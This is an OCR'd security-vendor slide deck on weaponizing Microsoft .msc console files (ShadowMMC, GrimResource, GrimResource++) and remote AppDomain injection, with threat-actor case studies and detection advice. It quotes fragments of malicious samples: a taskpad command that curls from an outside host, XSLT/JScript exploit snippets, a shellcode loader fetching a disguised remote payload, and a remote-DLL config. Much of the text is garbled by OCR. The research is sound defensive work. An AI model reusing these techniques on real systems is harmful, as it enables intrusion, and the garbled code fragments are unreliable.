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What are MSC Files

1,

 .MSC files, also known as Microsoft Saved Console f‘les
are snap-in control files that open in the:Microsoft Management Console
with a Graphical User Interface (GUI). :

EN Windows PowerShell

PS C:WUsersidsantos® Get-ChildItem C:\Windows\system32\* * . msc | Sort-Object Extension | Sel [P
ect-Object Name | Format-Wide 1

User Account Control
rEop.mMsC

secpol.msc .
printmanagement . msc Do you want to allow this app to make
lusrmgr.msc .
perfmon. msc changes to your device?
WF .msc
WmiMgmt .msc
tpm.msc
services.msc .
taskschd.msc ﬁ Microsoft Management Console
gpedit.msc

Comexp.msc
compmgmt . msc

certmgr.msc
azZman . msc
certlm.msc
eventvwr.msc
fsmgmt.msc
diskmgmt.msc
devmgmt .msc

DevModeRunAsUserConfig.msc

PS5 C:3Users\dsantos>

Verified publisher: Microsoft Windows

Program location: "CAWINDOWS\system32\mmc.exe"
Show information about the publisher's certificate
Change when these notifications appear

Hide details

~ © Fortinet Inc. All Rights Reserved.
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MMC and MSC

Basics
«  MMC: Microsoft Management Console; used for admin tasks.
« MSC: XML-based file format for saving custom MMC setups.
« MMC uses snap-ins (e.g., ActiveX, Web link) for specific functions.

Exploit Components |
« ActiveX Control Snap- |n Allows loading arbltrary COM objects (V|a CLSID).
 Link to Web Address Snap in: Embeds Internet Explorer to dlsplay HTML/JS.
« HTML can access external.Documgnt.Actwe\/lewiControIObject.

The Technique
« Load MSXML ActiveX object in MMC via snap-in.
+ Display HTML page via "Link to Web/Address".

« Use JavaScript to:
Get reference to the MSXML object.
Trigger XSLT transform that executes JScript.

« Execute shellcode or .NET via JScript (e.g., DotNetToJScript).
« All in-process, bypassing many endpoint defenses.
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GrimResource injection

* |tuses some properties inside the MSC configuration file to do icon spoofing, ideal to

entice the user to open
« Also has a provision to use transformNode obfuscation technique that evades ActiveX

security warnings traditionally found in legitimate .msc
* The key to the GrimResource technique is using an old XSS flaw present in

the apds.dll library, which can be called from MSC files

+ ol 3556142115 SR

72.3
ss: 35.86
Ins xlarge
Availability Zone: us-west-2b
Architecture: AMD64

Total memory: 16384
Network: High

11:24PM
A s B



https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4
https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199
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GrimResource injection

File View Debug Tracing Plugins Favourites Options Help (TitanEngine ro Users
O = 45T r N w» + o . e = o o I g ’ Options {1 Find handles or DLLs ¢ System information [Search Processes (Ctrl+K) R
. . ” . — 2
Processes Services Network Disk
CPU B Log B Notes Breakpoints F# - Memory Map W Call Stack °R SEH o MR (Nome : PID  CPU I/O totalr.. Private byt.. User name Description
° ' A Hide FPU ] dwm.exe 5816  0.16 12B/s 3532 MB Window Manager\DWM- Desktop Window Mat
% RAX  0000000000776780 N - explorer.exe 2316 0.03 79.43 MB ECZAM).\...\Admmxstrator‘ Windows Explorer.
5 REX  0000000000000000 B’ fontdrvhost.exe 464 1.18 MB Font Driver Host\UMFD-* Usermode Font Drive
B % ggg?gg?g?ggggggg L W fontdrvhost.exe 1020 1.26 MB Font Driver Host\UMFD-( Usermode Font Drive
FFFFFF o
? RBP  0000000000776820 B fontdrvhost.exe 3960 3.73 MB Font Driver Host\UMFD-z Usermode Font Drive
9 % 888888883865858 ‘ B FortiEDRAvScanner.exe 4508 26.52 MB NT AUTHORITY\SYSTEM FortiEDRAvScanner
> RDI  0000000000776990 = ? FortiEDRCoIIectoFfﬁer 6664 122 B/s 5.64 MB EC2AMA..\Administrator FortiEDRCollector
7 ; = = E— —
) R8 0000000000776770 ;.?f FOI’(IEDRCO"&CIOI‘ & mmc.exe (1228) Properties
; B RO 0000000000000000 Bl Interrupts |
i 6 % 8ggggggggggggggg :‘IpoverUSbSVQe“ General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Disk and Netw
1 o RI2  00000000007769D8 [ L= ostkexe
5 R13  0000000000000060 ! ogonUl.exe Name Base address Size Description
7 R14 0000000000000000 - - B |sass.exe mmc.exe 0x7ff7920d0...  1.84 MB Microsoft Management Console
e |C R15  0000000000A7E400 L"c:\\windows\\s § PR e AcGenral.dll 0x7ffc65420000 384 kB Windows Compatibility DLL
i § P < 7 - 2 . advapi32.dll 0x7ffc897b0000 708 kB Advanced Windows 32 Base API
| RIP 00007FFC88BA25D5 00007 s msdtc.exe A 2 2
! A - & apphelp.dil 0x7ffc86750000 580 kB Application Compatibility Client Library
ikl ; < > msedge.exe atl.dll 0x5b00000 48 kB ATL Module for Windows XP (Unicode)
! i i § 7 msedge.exe atlthunk.dll 0x7ffc82d30000 52 kB atlthunk.dll
| 3 Default (x64 fastcall) ¥ ~ 5 + || Unlocked emsedge.exe berypt.dil 0x7ffc88b30000 156 kB Windows Cryptographic Primitives Library
; 3 [ ¥ 1: rex 000000000000032C 000000000000032C M| © msedge.exe beryptprimitives.dll 0x7ffc889f0000 508 kB Wmc!ows (?ryptographlc Primitives Library
| P > 2: rdx FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF - cfgmgr32.dll 0x7ffc88220000 304 kB Configuration Manager DLL
VAR ; . 3: r8 0000000000776770 0000000000776770  msedge.exe clbeatq.dil 0x7ffc89950000 700 kB COM+ Configuration Catalog
qgword ptr ds:[00007FFC88D9C0OCO <kernelbase.&zwMapViewofsecti 4: r9 0000000000000000 0000000000000000 (‘;msedge exe Easasiil 0x7fc89dc0000 3.44 MB Mi ft COM for Wind
5: [rsp+20] 0000000000000000 00000000000000¢ - compase: Gkl & OO Y. D1 (WITIGOWS
€ msedge.exe comcti32.dll 0x7ffc73f60000 2.64 MB User Experience Controls Library
- text:00007FFC88BA25DS kernelbase.d11:$425D5 #425D5 % e msedge.exe cometl32.dll 0x7ffc7a4d0000 712 kB User Experience Controls Library
v @ msedge.exe comi2.dll 0x7ffc89380000 492 kB Microsoft COM for Windows
m m m 0000000000776720 | 0000000000000000 7% ~ ge- C_1252.NLS 0x7c0000 68 kB
" Dump 1 W0 Dump 2 M Dump 3 ¥ 4|»10000000000776728 | 0000000000000000 L msedge.exe C 1252.NLS 0xa10000 68 kB
— 0000000000 0 | 0000000000000002 ¢ d b
Address Hex 0000000000 & | 0000000000000000 \7msedde;exe C_437.NLS 0x7e0000 68 kB
ggggﬁpcgagugog Si Eg gg gg ﬁ gg gg gg jg 0000000000 0 | 0000000000000000 € msedge.exe C_437.NLS 0xa30000 68 kB
7FFC8B0C101 0000000000 8 |0000000000000000 =
00007FFC880C1020 |48 81 EC 70(02 00 00 48|88 ' | 0000000000776750 | 0000000000776780 € msedge.exe Dawbxchangedll O7fconse00n)  JBAD Datsmcrange. )
00007FFC8B0OC1030 | c4 48 89 85/60 01 00 00|OF 0000000000 3 | 0000000000000001 (;msedge . DiagnosticDataSettings.dll 0x7ffc82b10000 48 kB Microsoft Windows Diagnostic Data Settings
00007FFC8B0C1040 |41 88 F9 4D |88 FO 4C 8B |F9 0000000000 0 | 0000000000040000 4 . dui70.dll 0x7ffc68000000  1.75 MB Windows DirectUI Engine
00007FFC8B0OC1050 | 0OA 00 48 8B|52 08 4C 8D 44 0000000000 8 | 00007FFC00000002 msedge.exe i i i
00007FFC8BOC1060 | FC 01 00 00|45 33 E4 85|cCO 000000000 0 | 0000000000000000 <4 dg ::‘ertfg" °"7§°659e°°°° ot ::B W'"d°".‘;5 DirsctlserEnging
00007FFC8B0C1070 | 0L 00 00 85|FF OF 85 26(A8 | | | 000000000 8 | 0000000000776788 Qmsedge.exe putl: Dyesoaclond 145 k8 €Dt
00007FFC8BOC1080 |66 89 5C 24|42 48 89 44|24 0000000000 0 | 0000000000000000 L msedge.exe fitLib.dll 0x7ffc7ebf0000 44 kB Filter Library
00007FFC8BOC1090 | 8D 46 28 66|89 5C 24 40 (45 0000000000 8 | 000000000000032C = i i
00007FFC8BOCLOAO |48 8D 4C 2430 C7 44 24|30 0000000000 0 | 0000000000000000 B MsMpEng.exe gglggfdllll dil gx;ffffc::l):gggg 111712;;5 (ngi E:!en: gtt
00007FFC8B0C10B0 |03 00 85 CO|78 2D OF B7|4C 000000000 & | 0000000000000000 ProcessHackerex | | 95=cmH i ! i
00007FFC8B0C10CO |48 03 CA EB (08 48 FF C9 (80 0000000000 0 | 0000000000000000 7 ieframe.dll 0x7ffc6af70000 7.8 MB Internet Browser
00007FFC8B0C10D0 |77 F3 EB 03|48 FF Cl 66|28 0000000000 & | 0000000000000000 B rdpclip.exe & = aiaum -
00007FFC8BOCI0EO |26 33 cO 4888 8D 60 01|00 0 | 0000CO50DB7A7BAS Regist
00007FFC8B0CIOFO |08 00 48 88|9cC 24 c8 02|00 8 | 0000000001000038 Sgistry;
00007FFC8B0C1100 |00 41 S5F 41|5E 41 5D 41|5C 0 | 0000000000776800 | L"c:\\Windows\\Sys RuntimeBroker.e:
00007FFC8B0C1110 |CC CC CC CC|CC CC CC cCc|71 & |0000000000120010 .
00007FFC8B0C1120 141 B9 08 00/00 00 E9 3501 0 | 0000000005A10114 | L"apds.d11" | ' RuntimeBroker.exe SUAY VI ECZAVIALVAGMINISTrator -~ Kuntime Broker
00007FFC8B0C1130 | €CC €C €C cClcc cc cc cc!71 8 | 00007FFC7FR95D00 | fertutril.ordinal#g ¥ WS RuntimeBroker.exe 5.84 MB EC2AMA..\Administrator Runtime Broker

<

Command:

>

Default

oOm )2 P g

RuntimeBroker.exe

6.35 MB EC2AMA..\Administrator Runtime Broker

3118 PM
A ENG
) d 5/25/2025

8



1,

GrimResource injection

mmc.exe - PID: 6300 - Maodule: kernel32.dll - Thread: Main Thread 6260 - x64dbg [Elevated] — O X =P H: E¢ Az NEDNOVAC
File View Debug Tracing Plugins Favourites Options Help Ap 24 (Titank r 0 Help
- n B e & i i ™
= O = T r Fl + o - LS =& P o & B Refresh < » Options [y Find handles or DLLs System information [
Processes Services Network Disk
Breakpoints F#H - Memory Map g‘ Call Stack SR SEH ! Script E Symbols <> Source MLl | Name PID CPU 1/O total r... Private byt.. User name Description
Base Module party Pal o  Address Type | W dwm.exe 5816 032 12B/s  21.53 MB Window Manage\DWM- Desktop Window Mar
-1
BBOBZEEEgnggSgg :ﬁg:g:g;:ﬂﬂ & g:::ﬁ o m explorer.exe 2316 003 78.49 MB EC2AMA..\Administrator Windows Explorer
HN007EEERRTRINID apqhﬁhkd'll% B system | C:) B fontdrvhost.exe 464 1.18 MB Font Driver Host\UMFD-" Usermade Font Drive
H e ,‘}Eripydﬁ == g:ﬁgﬂ & fontdrvhost.exe 1020 1.26 MB Font Driver Host\UMFD-( Usermode Font Drive
00007FFCBBIFO000 | beryptprimitives.dll B system |C:* fontdrvhost.exe 3960 3.8 MB Font Driver Host\UMFD-: Usermade Font Drive
00007FFCE8220000 | cfgmgr32.d11 & System | C:* ~Alnio ki e e
00007FFC899B80000 | clbcatqg.dll E system |C:* ,,
00007FFCB9DCO000 | combase.dl11 M system | C:° i 11 X Pre (]
00007FFC73F60000 | comct132.d11 B System | C:'
00007FFC7A4D0000 | comct132.d11 B system | c:' . = =
0D007FFC89380000 | coml2.d11 E System | C:' General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Disk and Metwork Comment
00007FFC6EBEODO0 | dataexchange.dl1 B system |C:*
00007FFCB82B10000 d'laqnostwcdatmetnnos dil M system | C:° .N " -
00007FFCE8000000 | dui? B system | C: ame Base address Size Description
gggg?mﬁg%gggg dgser d‘;n B system |C:' mme.exe 0x7ff7920d0...  1.84 MB Microsoft Management Console
7EFC764C edputil E System | C:* < f indow: ibility
00007FFC7EBFO000 | F1t1ib.d11 © system |C:' A;Gen;a;:gl\l\ D?fﬁégxgggg 35; tg mndo ;i‘:{.“ﬁa“"’"'ﬂ E“‘ APT
00007FFCBIOEODOD | gdi32.d11 B system | C:' avaEplac, kil vanoed, Windows:+c £356
00007FFCEZEDOOOD gdi32full.dll B System | C:' apphelp.dil 0x7ffcB86750000 580 kB Application Compatibility Client Library
00007FFCEAF70000 | jeframe dil B system | C:' atl.dll ! 48 kB ATL Medule for Windows XP (Unicode)
00007FFC7 000 | iertutil.dll E Systems C:* : i ¥ |
00007FFCB9770000 | imm32.d11 E System | C: atthunk.dl 7Hf 52 kB atithunk.di
00007FFCB6FFO000 | kernel.appcore.dll ® system | C:® beryptdll 0x7ffeB88b30000 156 kB Windows Cryptographic Primitives Library
[ TEF PRI kerne]32.d11 B system | C:' beryptprimitives.dll 0x7ffcB89f0000 508 kB Windows Cryptographic Primitives Library
00007FFCBEBE0000 | kernelbase.dll E system |C:' . = o L :
0D007FFCE26A0000 | mFca2u.di1 & System |+ cfgmgr32.dll 0x7ffc88220000 304 kB Configuration Manager DLL
00007FFC7B030000 [mlang.dll B System |c:® clbeatq.dll 0x7ffcB98b0000 700 kB COM+ Configuration Catalog
ggggzrr??gggggg mmchexe e ﬁ System | C:* combase.dll 0x7ffc89dc0000 3,44 MB Microsoft COM for Windows
D0007EFC63470000 | Micndnar d11 o &, cometi32.dl Ox7Ffe73/50000  2.64 MB User Experience Contrels Library
00007FFC7A6B0000 | mpr.d11 E System |cC: cometi32.dIl 0x7ffc7a4d0000 712 kB User Experience Controls Library
O S OCDOR = LTI = Saxn | 6 comi2.dli 0x7ffcB9380000 492 kB Microsoft COM for Windows
/F s mshtml.d = System H
00007FFCBAE40000 | msiso.dl] B system |+ C_1252.NLS (x9a0000 63 kB
00007FFCE2180000 |msvepllO_win.d1l @ system | c:' C_1252.NLS Oxcd0000 68 kB
00007FFCB88840000 | mswecp_y w:j_r;_[dﬁ E System C:: € 437.NLS 0x9e0000 68 kB
00007FFCBI6C0000 | msvert. E system | C: - : ¥
00007FFC7 7080000 |msxml6.d11 M system | C:° CA37.NLS ,n‘dmm 68 kB
00007FFC7ECO0000 | netani32.d11 © svstem | c:* ¥ v DataExchange.dil 0x7ffc5e6e0000 368 kB Data exchange
< 8 < » DiagnosticDataSettings.dl 0x7ffc82b10000 48 kB Microsoft Windows Diagnostic Data Settings
— - — — dui70.dll 0x7Ffc58000000 1.75 MB Windaws DirectUI Engine
|| Regex| Search: Ty.. || Lock| | Regex e 0x7fc659eD000 612 kB Windows DirectUser Engine
| | edputildi 0x7ffc764c0000 148 kB EDP util
fltLib.dil 0x7ffc7ebf0000 44 kB Filter Library
gdiz2.dil ffc89020000 172 kB GDI Client DLL
gdi32full.dll 0x7ffcB8ed0000 1.11 MB GDI Client DLL
tem32\virtdisk.pdb ieframe.dll 0x7ffe6af70000 7.8 MB Internet Browser
No symbols ] - A A -
[Uln] uluppu C:\Users\Administrator\Documents\Tools\X26D] release\x64\symbols
\ELtLit 8CEE0CETEINELLLib. pdb
No sy
[DIA] Skipping non— 2 :\Windows tem32\f1ltLib.pdb = — e —
No symbo 1 RuntimeBroker.exe 8.23 MB EC2ZAMA..\Administrator
[DIA] S ¢ eDB: Ci \Windows\System32\fltlib.pdb RuntimeBroker.exe 3043 MB EC2AMA..\Administrator
o symbols loaded b . d v o — .
Hofeyrbolsiloadediso ELib-di B RuntimeBroker.exe 5,84 MB EC2AMA..\Administrator Runtime Broker
RuntimeBroker.exe 6.35 MB EC2AMA..\Administrator Runtime Broker
Command: Default M = <
INT3 breakpoint at <kernel32.LoadLibraryExWStub> (00007FFC89D1AATO)! Time Wasted Debugging: 0:11:27:24 (e=VEVETsS
— y e 7 3:45 PM
e her ear =t ® \' | oy F Jm + i ~
L Type here to search =1 m o i B g B ﬂ‘ ! = & ‘.\‘ Tl ds ENG /252025
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=,  MSC Weaponization Methods

Type 1: MMC-Based Command Execution ("ShadowMMC")

«  Attack Vector:

Abuses the Console Taskpad functionality within the Microsoft Management Console to
execute arbitrary commands.

« Disguise Method:
It is usually disguised as icons that mimic document files or folders.

« Key Characteristics:

deType="{C96401CE-0E17-11D3-885B-00C04FT72CT717}" ID="{656F3A6A-1A63-4FC4-9COB-4BT5AFED

"Minimized" FParams="/c mode 15,l&amp;tasklist&gt;&goot;*appdata®\t.txt&éguot;&amp;carl -o &guot;:%temp®\0808-DWnews.docx&guot; &guot:;http://handhygieneforhealth.org/.well-]




=,  MSC Weaponization Methods

Type 2: Vulnerability-Based Payload Execution (” GrimResource")

« ' Attack Vector:
Exploits a vulnerability in apds.dll (CVE-2024-43572) to execute malicious payloads.

* Disguise Method:
Leverages the ability to customize file icons, commonly masquerading as PDF or Word

documents to appear benign.

« Objective:
Achieves initial infection through social engineering and file impersonation, targeting users who
unknowingly execute the disguised file.

Fwww.w3.0rg¥2F1959%2FX5L%2F




Variants
Apds.dll ebfuscation

="l">Favorites<

=||2||:_-..
zcopeNamespace = external.Document.ScopeNamespace !
rootNode = scopeNamespace.GetBoot ()
mainNode = scopeNamespace.GetChild(rocotNode)
docNode = scopeNamespace.GetNext (mainNode)

external .Docoment . ActiveView.ActiveScopeNode = docNode
docObject = external.Document.ActiveView.ControlObject
external .Document . ActiveView.ActiveScopeNode = mainNode

var XML = docObject;
XML.async = false

var xsl = XML;
x=21.load¥ML (nnescape ("%3C
¥ML. transformNode (x=s1)

res://apc

S

ll/redirect.html

%20xmlns%3Am=%3D

%2

2urn%3Aschemas%2Dmicrosof

arget=javascri




=,  MSC Weaponization Methods

Type 3: GrimResource++
 No need to use redirect in adps.dil

- Payload can'be hosted anywhere the embedded browser understands (SMB share, local file, web).

fierPool RbsoluteMin="1" EbsoluteMax 553! Jextlivailakbhle="1T"/2
<S5tringTakbl
<GUOID {?1E5333E 1064-11D2-808F-0000F875A9CE </ GUID>
Strings>
<String ID="1" EREefz="1">Favorites</S5tring>

<5String Il=
<5tring ID="13"
<String ID="14"
<String ID="15"
<String ID=
C/Stringss
</5tringTakblel>

</5tringTakles>




“a

2 istribution of Malw

X 60
50
40
30
20
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ShadowMMC GrimResource GrimResource++

© Fortinet Inc. All Rights Reserved.



=) Case Study- LARVA 208

Larva 208:consistently utilizes MSC files.in.its operations.

« In late March 2025, it was reported that Larva-208 leveraged CVE-2025-26633 to execute
malicious code through manipulated .msc files. By exploiting the vulnerability, the actor was
able to load amalicious MSC file that had been weaponized using Type 3.

* These files were often disguised as legitimate tools, such as:

 This threat actor used this method in the later stages of the attack chain; however, our analysis
suggests that Larva-208 began using .msc files weaponized with Type 3 as an initial infection
vector as early as May 2024.

* In one analyzed case, the final payload was identified as Fickle Stealer.

*  Example malicious files: IR
<GUID>{T1ESB33E-1064-11D2-808F-0000F875A9CE} </ GUID>
<Strings»

"»Favorites</String’>

"»Shookwave Flash Object</String>

<5tring ID="1"

<S5tring ID="2"

"shttps: f/eryptolabstodio. comf=ploit. htm</String>

n2"=Con=ole Root</String>
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Monthly view April 2024 — Ma§i20g
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MSC Files Distribution

OVERVIEW

\‘1 « HTML smuggling (Link to html files): Mustang Panda,
MimiStick
* Meeting103.html
» Link to archive files: Kimsuky, Bitter

‘ : * Letter355-ECDAgents.rar
e Archive files as attachment: Earth Baxia
| o KIS EEEFMEA R Zip

=
DHISHING ATTACKS wy ¢

© Fortinet Inc. All Rights Reserved. 21




< Observed Icons used in MSC Files

Custom icons and hidden window @

s R

© Fortinet Inc. All Rights Reserved. 22



Distributed Malware Families

4 ._ N - e e
* Mustang Panda: PlugX, TONESHELL, PUBLOAD 2o = = = = -

« APT32: CobaltStrike - P
* Kimsuky: BlueShark

« MimiStick: Siler Framework

« Earth Baxia: Cobalt Strike, EagleDoor

Rhadamanthys

-.w © Fortinet Inc. All Rights Reserved. | 23
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App Domain / Injection

Imagine a .NET AppDomain as a quirky sandbox where code plays.
The AppDomainManager it's the strict playground supervisor

The CLR calls on this manager when a .NET app boots up.

It is deprecated and are no longer supported 0., 2 " J

Local App Domain Injection, a sneaky trick s.lnce 2020 (MITRE ID: T1574.014), dodges image load alerts
and hides from sysmon’s Event ID 7.

Remote version? First spotted in August 2024, cour'te'sy‘.‘c')f APT41 (Earth Baxia) and GrimResource—total
mischief makers! i



1,

Remote App Domain Injection

Seen for the first time being leveraged by APT41 (Earth Baxia) back in
August 2024, coupled with GrimResource.

\

<configuration>
<runtime>
<assemblyBinding xmIns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyldentity name="oncesvc" publicKeyToken="205fcab1ea048820" culture="neutral" />
<codeBase version="0.0.0.0"
</dependentAssembly>
</assemblyBinding>

<appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
<appDomainManagerType value="oncesvc" />
</runtime>
</configuration>
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Loading Remote DLLs

How to: Sign an assembly with a strong name

In this article

(D Note

Although .NET Core supports strong-named

adback

mblies, and all assemblies in the .NET Core library are signed, the

majority of third-party assemblies do not need strong names. For more information, see Strong Name Signing &
on GitHub.

There are a number of

ing the Build = Strong naming page in the p
and most convenient way

ith a strong name:

gner for a project in Visual Studio. This is the easiest
fith a strong name.
de module (a .netmodule file) with a key file.
ong name information into your code. You can use either the

ameAttribute attribute g on where the key file to be used

vith a strong name. For more information about creating a
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Emulating Remote AppDomain Injection

Here we see the executioh of oncesvc.exe loading the remote DLL
resource masqueraded as a jpeg

internal static a
{
Token: @x8600000 7 RIC 7 RVA: 0x8000211C File Offset: 9x00000 31(
public static wvoid chocolatenoiselessveil36778()
{

ServicePointManager. |= SecurityProtocolType.Tls12;

string uriString = oncesvc. arcoalchivalrousspark24371("1ijD8ZGDkGLrkGw/

FOUytTOHPz965YD8gls5tssiXDMnRNrsaX4DyVsfN/v9354cn9r8sfaC5Y3sm7t0ghYkeGQ=="

* byte[
uint num = (uint)array. 3
intPtr = oncesvc. VirtualAlloc( .Zero, num, 12288U, 64U);
.Copy(array, @, intPtr, (int)num);
hHandle = oncesvc. .CreateThread( .Zero, @U, intPtr, .Zero, @U,
oncesvc. daitForSingleObject{hHandle, uint.MaxValue);
¥
i rnal - ic bytdll essmusic67718(Uri magentahurtbirds19428)
100% ~
Locals
Name Value Type
@ uriString "https://360photo.oss-cn-hongkong.aliyuncs.com/202407111522.jpeg” string
@ array nu byte[]
@ num 0x00000000 uint
P @ intPtr 0x0000000000000000 System
P @ hHandle 0x0000000000000000 System

_Thrn);
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Fileless AppDomain Injection
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File Edit View Git Project Debug Test Analyze Tools Extensions Window Help 05, Aol 35.86.142.115 e
- B-=B88 P Attach... - B R IR _
UevAppMonitor.exe.config UevAppMeonitor.exe.config UevAppMonitor.exe.config UevAppMonitor.exe Program.cs &= X What's New? Solution Explorer ~ @ Output
[£¥] Miscellaneous Files = OISMyAppDDma\nManager.AppDUmainlnjectiun - InitializeMewDomain(AppDomainSetup appDomaininfo) ~ ¥  Show output from:
v MyAppDomainManager | e
{ =
~ i System; File Edit Format
1 1 System.EnterpriseServices; <configuration>

<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.vl
<dependentAssembly>
<assemblyIdentity name="AppDomainInjection”
publicKeyToken={"al78a297a4589d11"

System.Runtime.InteropServices;
System.Diagnostics;
System.Windows.Forms;

B, Signin -

& GitHub Copilot |2

HEBC)

x

& ADMIN

- 0 X

~ : L Led ass [AppDomaininjection : AppDomainManager Tture="neutral™ /5
~ erride v InitializeNewDomain(AppDomainSetup appDomainInfo) <codeBase version="1.9.0.0"
" - href="http://172.31.27.19:8088/AppDomainInjection.dll”
{ " </dependentAssembly>
res = ClassExample.Execute(); </assemblyBinding
ER <etwEnable enabled="false" />
¥ <appDomainManagerAssembly walue="AppDomainInjection, Version=1.0.0.8, Culture=neutral, PublicKeyToken=a178a297a4589d11"
} - Only the namespace-qualified type name, no assembly details --
<appDomainManagerType value="MylAppDomainManager
~ i ClassExample </runtime>
{ </configuration>
2 v Execute()
{
MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
return ;
}
}
}
0%~ @ No issues found | &~ lm4  Ch:37 SPC  CRIF
Developer PowerShell > X
+ Developer PowerShell - [ [ &
PS C:\Wsers\Administratorisource\repos\New Techniques\AppDomainInjection\bin\Debug> sn AppDomainInjection.dll

Microsoft (R) .MET Framework Strong Name Utility Version 4.9.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Public key (hash algorithm: shal):
2

480005253413 100018841d73747173532
1cadbf865817a19eT984425b672a66ad42065b85d8ea9a32271180635c77cc935F3fad7107901F
9cba?13513bcedbaddbf8b712317bbcac222a31T457578ac5bf cea722dcb6bb5d2c7F83daf21d7
alb2bcfeee31c632f141e8T84bccba7e3d3a3e3f5f3a5492cae849bT 24ca025086cecb267560bd
8d@65ec?

Public key token is al70a29754589d11
PS C:\WsershAdministratorisource\repos\New Techniques\AppDomainInjection\bin\Debug> I

» ErrorList  Qutput

E] Ready

i Select Repository = f‘n

A~ T ds

11:04 PM
9/24/2024 Eg
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MSC Injection

Detection Opportunities

Caveats

« MSC tricks are still popping up, and some sneaky new files in VT barely raise eyebrows.
« If attackers snag Admin rights and drop files in system folders, some SIGMA rules snooze—
they’re too focused on non-system spots.
* Runs inside mmc.exe — a signed Windows blnary
* No child processes necessaﬂly spawned. 0., o
« Loading of APDS.DLL is done via non=standard way, and quickly is unmapped
o..DLL is being quick mapped and unmapped into memory, which explains why it's not
in the Symbols tab.
o It's either being manually mapped (|nject|on style) or just inspected/used without
fmallzmg the load. ‘
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MSC Injection

Detection Opportunities

If a DLL is loaded as data and.then immediately unmapped, it's likely used for:

Localization strings
*Resource loading
-Config parsing (embedded data)

Or simply recon by malware, loading and inspecting version info/resource data

Color

Orange

Green

Red .

Disappeared

..State

-

Mapped (Pre-init)
Initialized

Unmai;ped | Freed

Unlinked / Erased

Meaning:

0 ot ‘
_ DLLis mapped into memory via NtMapViewOfSection,
‘but DIIMain has not yet been called. This is a pre-
initialization state.

DﬁM ain(DLL_PROCESS_ATTACH) was called. The DLL

is now part of the module list, active and initialized.

DLL was-unloaded (e.g., via FreeLibrary,
NtUnmapViewOfSection). It’s no longer present in the
process memory.

Completely removed — usually after a quick
load/unload or manual mapping. Not visible in
symbols, module list, or memory.
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MSC Injection

Detection Opportunities

Best Detection Strategies
 Setting up ETWs to look for suspicious dll loads
« Spotting other DLLs Ilke jscript.dll, vbscript.dll, or msxml3.dll loading with apds.dll can tip off
EDRs.
« Look for a quirky temp HTML file named “redirect[* ]” in the INetCache folder—APDS XSS
redirect’s calling card! -~ __
« mmc.exe Network or File Activity: Monitor MMC reachlng out to:
« External web resources, SMB shares :
« Look for .msc files openlng HTML’or XSl content
» Suspicious MSC files '
 Embedded CLSIDs:(e.g., MSXML)
« Embedded URLs or javascript: Imks
« Behavioral
« JavaScript making ActiveX calls from MMC context
* Any use of external. Document.ActiveView. ControlObject

quf ,1
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AppDomain Injection

Detection Opportunities

Caveats

« SysMon rules and other tools miss CLR injection, it will show up on ETW consumers just
after the fact like ProcessHacker. If ETW hasn’t been disabled (it generally is)

 Spotting loaded assembties via Event Tracing-for Windows (ETW) works, but attackers can
dodge it by disabling ETW—Ileaving the “.NET Assemblies” tqb blank, as MDSec’s Adam
Chester hilariously proved. Also_you can disable it from the".config file !!

Best Detection Hacks . . . . . \ -

* Threat hunters, skip assembly Ioadlng |nfo—d|g |nto NET process memory for shady signs,
like DLLs with “PAGE_ EXECUTE WRITECOPY” (WCX) protection.

« Malicious payload anaIyS|s will reveal that they most likely use obfuscating syscalls and
memory handling and thread manipulation which might be a good indication of maliciousness
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